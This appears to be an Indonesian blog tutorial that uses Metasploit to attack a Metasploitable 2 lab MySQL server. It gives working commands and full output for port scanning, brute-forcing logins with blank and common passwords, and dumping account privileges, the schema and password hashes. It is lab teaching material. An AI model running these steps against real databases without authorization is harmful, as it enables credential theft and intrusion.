Menghitung Basis Data MySQL Dengan Metasploit
Pengintaian barangkali merupakan fase paling kritis dari suatu serangan. Ini sangat penting ketika mempersiapkan serangan terhadap database karena 1 langkah yang salah dapat menghancurkan setiap bit data terakhir yang biasanya bukan hasil yang diinginkan. Metasploit berisi berbagai modul yang dapat digunakan untuk menghitung basis data MySQL sehingga mudah untuk mengumpulkan informasi berharga.
Informasi Apa Yang Berharga bagi Penyerang?
Bagi seorang peretas yang terampil hampir semua data bisa menjadi penting dalam mempersiapkan serangan. Ketika kita berpikir tentang SQL dari perspektif ini sering kali pikiran kita langsung ke injeksi SQL tetapi mengumpulkan informasi tentang database itu sendiri kadang-kadang bisa sama pentingnya.
Hal-hal yang harus dicari ketika menghitung basis data menyertakan versi karena terkadang serangan yang berhasil dapat semudah menemukan exploit untuk versi yang sudah ketinggalan zaman. Hal lain yang harus dicari adalah kredensial yang valid yang tidak hanya dapat digunakan untuk database tetapi sering dapat digunakan untuk aplikasi atau sistem lain (penggunaan kembali kata sandi adalah hal yang nyata dan masalah nyata bagi organisasi). Terakhir informasi tentang struktur database dapat sangat berguna untuk melakukan injeksi SQL karena mengetahui apa yang sering terjadi setengah dari pertempuran.
Hari ini kita akan menggunakan Metasploit untuk menyebutkan beberapa informasi ini pada database MySQL. Kami akan menyerang Metasploitable 2 melalui kotak Kali Linux.
Langkah 1Lakukan Pemindaian Nmap
Hal pertama yang perlu kita lakukan adalah menentukan apakah MySQL berjalan pada target. Karena kita tahu ini berjalan pada port 3306 secara default, kita dapat menggunakan Nmap untuk memindai host:
~# nmap 10.10.0.50 -p 3306
Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-21 08:09 CDT
Nmap scan report for 10.10.0.50
Host is up (0.00073s latency).
PORT STATE SERVICE
3306/tcp open mysql
MAC Address: 00:1D:09:55:B1:3B (Dell)
Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds
Dan kita bisa lihat MySQL memang berjalan dan port terbuka. Ingatlah untuk menggunakan alamat IP target yang benar.
Langkah 2Dapatkan Info Masuk
Sekarang kita yakin MySQL terbuka pada target kita dapat masuk ke enumerasi untuk mengumpulkan informasi sebanyak mungkin untuk pengintaian. Untuk memulai, jalankan Metasploit dengan mengetikkan msfconsole di terminal.
~# msfconsole
Kami kemudian dapat mencari modul apa pun yang berkaitan dengan MySQL dengan menggunakan perintah pencarian:
msf5 > search mysql
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/manageengine_pmp_privesc 2014-11-08 normal Yes ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
1 auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal No Ruby on Rails Devise Authentication Password Reset
2 auxiliary/admin/mysql/mysql_enum normal No MySQL Enumeration Module
3 auxiliary/admin/mysql/mysql_sql normal No MySQL SQL Generic Query
4 auxiliary/admin/tikiwiki/tikidblib 2006-11-01 normal No TikiWiki Information Disclosure
5 auxiliary/analyze/jtr_mysql_fast normal No John the Ripper MySQL Password Cracker (Fast Mode)
6 auxiliary/gather/joomla_weblinks_sqli 2014-03-02 normal Yes Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read
7 auxiliary/scanner/mysql/mysql_authbypass_hashdump 2012-06-09 normal Yes MySQL Authentication Bypass Password Dump
8 auxiliary/scanner/mysql/mysql_file_enum normal Yes MYSQL File/Directory Enumerator
9 auxiliary/scanner/mysql/mysql_hashdump normal Yes MYSQL Password Hashdump
10 auxiliary/scanner/mysql/mysql_login normal Yes MySQL Login Utility
11 auxiliary/scanner/mysql/mysql_schemadump normal Yes MYSQL Schema Dump
12 auxiliary/scanner/mysql/mysql_version normal Yes MySQL Server Version Enumeration
13 auxiliary/scanner/mysql/mysql_writable_dirs normal Yes MYSQL Directory Write Test
14 auxiliary/server/capture/mysql normal No Authentication Capture: MySQL
15 exploit/linux/mysql/mysql_yassl_getname 2010-01-25 good No MySQL yaSSL CertDecoder::GetName Buffer Overflow
16 exploit/linux/mysql/mysql_yassl_hello 2008-01-04 good No MySQL yaSSL SSL Hello Message Buffer Overflow
17 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
18 exploit/multi/http/zpanel_information_disclosure_rce 2014-01-30 excellent No Zpanel Remote Unauthenticated RCE
19 exploit/multi/mysql/mysql_udf_payload 2009-01-16 excellent No Oracle MySQL UDF Payload Execution
20 exploit/unix/webapp/kimai_sqli 2013-05-21 average Yes Kimai v0.9.2 'db_restore.php' SQL Injection
21 exploit/unix/webapp/wp_google_document_embedder_exec 2013-01-03 normal Yes WordPress Plugin Google Document Embedder Arbitrary File Disclosure
22 exploit/windows/mysql/mysql_mof 2012-12-01 excellent Yes Oracle MySQL for Microsoft Windows MOF Execution
23 exploit/windows/mysql/mysql_start_up 2012-12-01 excellent Yes Oracle MySQL for Microsoft Windows FILE Privilege Abuse
24 exploit/windows/mysql/mysql_yassl_hello 2008-01-04 average No MySQL yaSSL SSL Hello Message Buffer Overflow
25 exploit/windows/mysql/scrutinizer_upload_exec 2012-07-27 excellent Yes Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential
26 post/linux/gather/enum_configs normal No Linux Gather Configurations
27 post/linux/gather/enum_users_history normal No Linux Gather User History
28 post/multi/manage/dbvis_add_db_admin normal No Multi Manage DbVisualizer Add Db Admin
Ada banyak hal di sini tetapi sebagian besar kami khawatir dengan beberapa alat bantu untuk saat ini. Yang pertama akan kita lihat adalah modul mysql_login yang akan menemukan beberapa kredensial yang valid untuk layanan MySQL. Muat dengan perintah penggunaan:
msf5 > use auxiliary/scanner/mysql/mysql_login
Sekarang kita bisa melihat pengaturan saat ini menggunakan perintah opsi:
msf5 auxiliary(scanner/mysql/mysql_login) > options
Module options (auxiliary/scanner/mysql/mysql_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Pertama mari kita buat file teks yang berisi daftar kemungkinan nama pengguna. Kami akan membuatnya singkat untuk tujuan demonstrasi tetapi lebih lama daftar yang tersedia untuk umum juga dapat digunakan. Kami akan menyebutnya users.txt:
msf5 auxiliary(scanner/mysql/mysql_login) > nano users.txt
[*] exec: nano users.txt
Sekarang mari kita tambahkan beberapa nama pengguna potensial:
root
admin
guest
user
mysql
Simpan file lalu kami akan melakukan hal yang sama untuk kata sandi:
msf5 auxiliary(scanner/mysql/mysql_login) > nano passwords.txt
[*] exec: nano passwords.txt
Sekali lagi, jangan ragu untuk menggunakan daftar kata sandi yang lebih panjang tetapi cukup ketahui bahwa modul ini akan membutuhkan waktu lebih lama untuk diselesaikan. Untuk saat ini kami akan memberikan beberapa kata sandi yang umum:
password
mysql
root
admin
Kemudian kita dapat mengatur file untuk membaca nama pengguna dari:
msf5 auxiliary(scanner/mysql/mysql_login) > set user_file users.txt
user_file => users.txt
Dan lakukan hal yang sama untuk file kata sandi:
msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file passwords.txt
pass_file => passwords.txt
MySQL juga dapat mengizinkan login dengan kata sandi kosong jadi sebaiknya periksa juga. Setel opsi menjadi true untuk memeriksa kata sandi kosong:
msf5 auxiliary(scanner/mysql/mysql_login) > set blank_passwords true
blank_passwords => true
Hal terakhir yang perlu kita lakukan adalah mengatur alamat IP target kita. Kita dapat menggunakan perintah setg di sini untuk mengatur opsi secara global karena semua pemindaian kita akan berjalan pada host yang sama:
msf5 auxiliary(scanner/mysql/mysql_login) > setg rhosts 10.10.0.50
rhosts => 10.10.0.50
Akhirnya ketik lari untuk memulai:
msf5 auxiliary(scanner/mysql/mysql_login) > run
[+] 10.10.0.50:3306 - 10.10.0.50:3306 - Found remote MySQL version 5.0.51a
[!] 10.10.0.50:3306 - No active DB -- Credential data will not be saved!
[+] 10.10.0.50:3306 - 10.10.0.50:3306 - Success: 'root:'
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin: (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin:password (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin:mysql (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin:root (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: admin:admin (Incorrect: Access denied for user 'admin'@'10.10.0.1' (using password: YES))
[+] 10.10.0.50:3306 - 10.10.0.50:3306 - Success: 'guest:'
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user: (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user:password (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user:mysql (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user:root (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: user:admin (Incorrect: Access denied for user 'user'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql: (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: NO))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql:password (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql:mysql (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql:root (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[-] 10.10.0.50:3306 - 10.10.0.50:3306 - LOGIN FAILED: mysql:admin (Incorrect: Access denied for user 'mysql'@'10.10.0.1' (using password: YES))
[*] 10.10.0.50:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Kita dapat melihat bahwa ia mencoba semua kemungkinan kombinasi nama pengguna dan kata sandi yang kami berikan dan menemukan beberapa login yang valid dalam proses. Sepertinya tamu dan root adalah login yang sah menggunakan kata sandi kosong yang akan baik untuk diketahui untuk modul yang akan datang.
Langkah 3Jalankan Enumerator MySQL
Modul selanjutnya yang akan kita lihat akan secara otomatis menyebutkan berbagai informasi tentang database MySQL, termasuk nomor versi, informasi server, direktori data dan beberapa opsi lain yang dapat dikonfigurasi di MySQL.
Untuk memulai, muat modul mysql_enum:
msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/admin/mysql/mysql_enum
Selanjutnya kita bisa melihat opsi yang ditawarkan modul ini:
msf5 auxiliary(admin/mysql/mysql_enum) > options
Module options (auxiliary/admin/mysql/mysql_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 10.10.0.50 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
USERNAME no The username to authenticate as
Nomor port ditetapkan secara default, dan karena kita sebelumnya menggunakan opsi global untuk mengatur alamat IP, satu-satunya hal yang perlu kita atur di sini adalah nama pengguna. Kami tahu dari langkah sebelumnya bahwa instance MySQL ini memungkinkan root untuk login dengan kata sandi kosong sehingga kami dapat mengatur opsi itu secara global sekarang:
msf5 auxiliary(admin/mysql/mysql_enum) > setg username root
username => root
Satu-satunya hal yang harus dilakukan adalah meluncurkan modul:
msf5 auxiliary(admin/mysql/mysql_enum) > run
[*] Running module against 10.10.0.50
[*] 10.10.0.50:3306 - Running MySQL Enumerator...
[*] 10.10.0.50:3306 - Enumerating Parameters
[*] 10.10.0.50:3306 - MySQL Version: 5.0.51a-3ubuntu5
[*] 10.10.0.50:3306 - Compiled for the following OS: debian-linux-gnu
[*] 10.10.0.50:3306 - Architecture: i486
[*] 10.10.0.50:3306 - Server Hostname: metasploitable
[*] 10.10.0.50:3306 - Data Directory: /var/lib/mysql/
[*] 10.10.0.50:3306 - Logging of queries and logins: OFF
[*] 10.10.0.50:3306 - Old Password Hashing Algorithm OFF
[*] 10.10.0.50:3306 - Loading of local files: ON
[*] 10.10.0.50:3306 - Deny logins with old Pre-4.1 Passwords: OFF
[*] 10.10.0.50:3306 - Allow Use of symlinks for Database Files: YES
[*] 10.10.0.50:3306 - Allow Table Merge: YES
[*] 10.10.0.50:3306 - SSL Connections: Enabled
[*] 10.10.0.50:3306 - SSL CA Certificate: /etc/mysql/cacert.pem
[*] 10.10.0.50:3306 - SSL Key: /etc/mysql/server-key.pem
[*] 10.10.0.50:3306 - SSL Certificate: /etc/mysql/server-cert.pem
[*] 10.10.0.50:3306 - Enumerating Accounts:
[*] 10.10.0.50:3306 - List of Accounts with Password Hashes:
[+] 10.10.0.50:3306 - User: debian-sys-maint Host: Password Hash:
[+] 10.10.0.50:3306 - User: root Host: % Password Hash:
[+] 10.10.0.50:3306 - User: guest Host: % Password Hash:
[*] 10.10.0.50:3306 - The following users have GRANT Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have CREATE USER Privilege:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have RELOAD Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have SHUTDOWN Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have SUPER Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have FILE Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have PROCESS Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following accounts have privileges to the mysql database:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following accounts have empty passwords:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following accounts are not restricted by source:
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - User: root Host: %
[*] Auxiliary module execution completed
Kita dapat melihatnya mengembalikan banyak informasi yang akhirnya menjadi sangat berguna.
Langkah 4Buang Skema Basis Data
Modul berikutnya yang akan kita gunakan adalah modul mysql_schemadump yang seperti namanya akan membuang informasi skema tentang database. Suatu skema dapat dianggap sebagai semacam cetak biru untuk database yang berisi rincian organisasi tentang bagaimana itu disusun. Ini bisa menjadi banyak data untuk disaring tetapi dapat membantu mengidentifikasi bagian-bagian penting dari database dalam fase pengintaian.
Pertama muat modul:
msf5 auxiliary(admin/mysql/mysql_enum) > use auxiliary/scanner/mysql/mysql_schemadump
Dan kita bisa melihat opsi:
msf5 auxiliary(scanner/mysql/mysql_schemadump) > options
Module options (auxiliary/scanner/mysql/mysql_schemadump):
Name Current Setting Required Description
---- --------------- -------- -----------
DISPLAY_RESULTS true yes Display the Results to the Screen
PASSWORD no The password for the specified username
RHOSTS 10.10.0.50 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads
USERNAME root no The username to authenticate as
Semuanya harus baik untuk pergi di sini jadi mari kita mulai:
msf5 auxiliary(scanner/mysql/mysql_schemadump) > run
[+] 10.10.0.50:3306 - Schema stored in: /root/.msf4/loot/20200121084427_default_10.10.0.50_mysql_schema_679633.txt
[+] 10.10.0.50:3306 - MySQL Server Schema
Host: 10.10.0.50
Port: 3306
====================
---
- DBName: dvwa
Tables:
- TableName: guestbook
Columns:
- ColumnName: comment_id
ColumnType: smallint(5) unsigned
- ColumnName: comment
ColumnType: varchar(300)
- ColumnName: name
ColumnType: varchar(100)
- TableName: users
Columns:
- ColumnName: user_id
ColumnType: int(6)
- ColumnName: first_name
ColumnType: varchar(15)
- ColumnName: last_name
ColumnType: varchar(15)
- ColumnName: user
ColumnType: varchar(15)
- ColumnName: password
ColumnType: varchar(32)
- ColumnName: avatar
ColumnType: varchar(70)
- DBName: metasploit
Tables: []
- DBName: owasp10
Tables:
- TableName: accounts
Columns:
- ColumnName: cid
ColumnType: int(11)
- ColumnName: username
ColumnType: text
- ColumnName: password
ColumnType: text
- ColumnName: mysignature
ColumnType: text
- ColumnName: is_admin
ColumnType: varchar(5)
- TableName: blogs_table
...
Seperti yang dinyatakan sebelumnya ini akan mengembalikan banyak informasi tetapi untungnya Metasploit menyimpan hasil curian dalam file teks untuk tampilan yang lebih nyaman.
Langkah 5Dapatkan Hash Kata Sandi MySQL
Modul berikutnya yang akan kami coba akan mencoba mengumpulkan hash kata sandi tambahan yang ditemukannya di basis data. Ini dapat berguna untuk berputar ke sistem lain, mengidentifikasi penggunaan kembali kata sandi atau mendapatkan hak istimewa admin jika beroperasi sebagai pengguna lain.
Muat modul mysql_hashdump:
msf5 auxiliary(scanner/mysql/mysql_schemadump) > use auxiliary/scanner/mysql/mysql_hashdump
Dan intip pilihannya:
msf5 auxiliary(scanner/mysql/mysql_hashdump) > options
Module options (auxiliary/scanner/mysql/mysql_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 10.10.0.50 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads
USERNAME root no The username to authenticate as
Sekali lagi semuanya terlihat bagus sehingga kita dapat meluncurkan modul:
msf5 auxiliary(scanner/mysql/mysql_hashdump) > run
[+] 10.10.0.50:3306 - Saving HashString as Loot: debian-sys-maint:
[+] 10.10.0.50:3306 - Saving HashString as Loot: root:
[+] 10.10.0.50:3306 - Saving HashString as Loot: guest:
[*] 10.10.0.50:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Kita dapat melihat bahwa itu melengkapi dan menyimpan hash yang ditemukan sebagai jarahan. Dalam hal ini, tidak ada pengguna di sistem yang memiliki kata sandi yang ditetapkan, jadi kami tidak mendapatkan string apa pun.
Langkah 6Jalankan Permintaan SQL
Modul terakhir yang akan kita lihat hari ini adalah modul mysql_sql yang dapat menjalankan query SQL dari dalam Metasploit Framework. Itu memang membutuhkan pengetahuan tentang bahasa SQL jadi pada titik ini, mungkin lebih efisien untuk hanya terhubung ke database secara langsung untuk mengeluarkan perintah. Namun ini menunjukkan bagaimana melakukan segalanya tanpa harus meninggalkan Metasploit.
Pertama muat modul:
msf5 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/admin/mysql/mysql_sql
Kemudian kita dapat melihat opsi saat ini:
msf5 auxiliary(admin/mysql/mysql_sql) > options
Module options (auxiliary/admin/mysql/mysql_sql):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 10.10.0.50 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
SQL select version() yes The SQL to execute.
USERNAME root no The username to authenticate as
Satu-satunya hal yang perlu kita atur adalah query SQL untuk dijalankan terhadap target. Sebagai contoh salah satu perintah pertama untuk membiasakan diri saat menghubungkan ke database adalah perintah show databases. Itu akan mencantumkan semua database yang tersedia untuk digunakan.
Setel opsi:
msf5 auxiliary(admin/mysql/mysql_sql) > set sql show databases
sql => show databases
Dan akhirnya jalankan modul:
msf5 auxiliary(admin/mysql/mysql_sql) > run
[*] Running module against 10.10.0.50
[*] 10.10.0.50:3306 - Sending statement: 'show databases'...
[*] 10.10.0.50:3306 - | information_schema |
[*] 10.10.0.50:3306 - | dvwa |
[*] 10.10.0.50:3306 - | metasploit |
[*] 10.10.0.50:3306 - | mysql |
[*] 10.10.0.50:3306 - | owasp10 |
[*] 10.10.0.50:3306 - | tikiwiki |
[*] 10.10.0.50:3306 - | tikiwiki195 |
[*] Auxiliary module execution completed
Kita bisa melihat ada beberapa database yang berbeda hadir dalam contoh MySQL ini.
Comments
Post a Comment
WeLcOmE TO My SiTeS